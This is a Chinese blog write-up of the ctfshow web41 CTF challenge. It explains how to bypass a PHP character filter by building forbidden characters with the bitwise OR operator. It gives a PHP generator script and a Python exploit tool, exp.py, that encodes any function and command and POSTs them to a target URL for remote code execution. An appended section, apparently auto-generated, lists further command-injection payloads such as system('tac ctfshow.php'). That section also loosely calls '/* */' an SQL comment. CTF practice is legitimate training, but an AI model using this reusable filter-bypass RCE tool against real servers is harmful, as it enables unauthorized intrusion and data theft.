ctfshow web入门 web41

本文介绍了一种在特定字符被过滤的情况下,通过或运算符构造有效字符的方法。提供了两个脚本,用于生成可用字符集,并展示了如何利用这些字符进行参数传递,实现远程代码执行。
该文章已生成可运行项目,

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)
本文章已经生成可运行项目
### CTFShow Web 入门命令执行挑战解析 在处理CTFShow平台中的Web类别入门级别命令执行挑战时,理解如何利用PHP代码注入来实现远程命令执行(RCE)至关重要。通过分析给定的参数传递方式以及服务器端脚本的行为模式,可以找到绕过简单过滤机制的方法。 对于此类题目,通常会提供一个带有漏洞的应用程序接口,允许攻击者通过特定输入点提交恶意数据。在这个例子中,存在两个主要入口用于测试:一个是基于URL查询字符串的方式;另一个则是表单POST请求方法[^3]。 #### 利用PHP函数进行命令执行 当遇到能够控制部分PHP源码的情况时,可以通过精心构造payload触发底层操作系统指令调用。例如,在给出的例子中有如下形式: ```php <?php echo `ls`; ?> ``` 这段代码会在当前工作目录下执行Linux/Unix系统的`ls`命令并显示其输出结果。为了进一步探索文件结构或读取敏感信息,可替换为其他有用的操作系统命令组合,如`cat`、`find`等。 针对此题目的具体场景,如果目标是获取某个特定PHP文件的内容,则可以根据上下文调整上述模板以适应实际需求。比如要逆向打印整个`ctfshow.php`文件内容,可以构建这样的HTTP GET请求: ``` ?v1=1&v2=system("tac%20ctfshow.php")/* ``` 这里使用了GNU/Linux特有的`tac`工具代替常见的`cat`命令,从而实现了从最后一行到第一行反序展示文本的效果。同时注意到了SQL注释符`/* */`的存在,这有助于屏蔽掉后续不必要的字符干扰。 另外一种常见技巧涉及直接访问内部变量状态,这对于调试和信息收集非常有帮助。假设想要查看名为`$ctfshow`的数据项详情,那么就可以发送类似下面所示的链接地址: ``` ?v1=1&v2=var_dump($ctfshow); ``` 这种方法依赖于PHP内置诊断功能——`var_dump()`函数,它能清晰地呈现出传入表达式的类型及其值。 #### 绕过基本防护措施 尽管某些情况下可能存在简单的正则表达式匹配型WAF(Web Application Firewall),但只要掌握了它们的工作原理就很容易规避这些限制。观察提供的WAF检测逻辑可知,主要是对一些关键字进行了黑名单过滤[^4]。因此,在设计最终有效载荷之前应当仔细考虑怎样巧妙避开那些被监控的关键字列表。
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值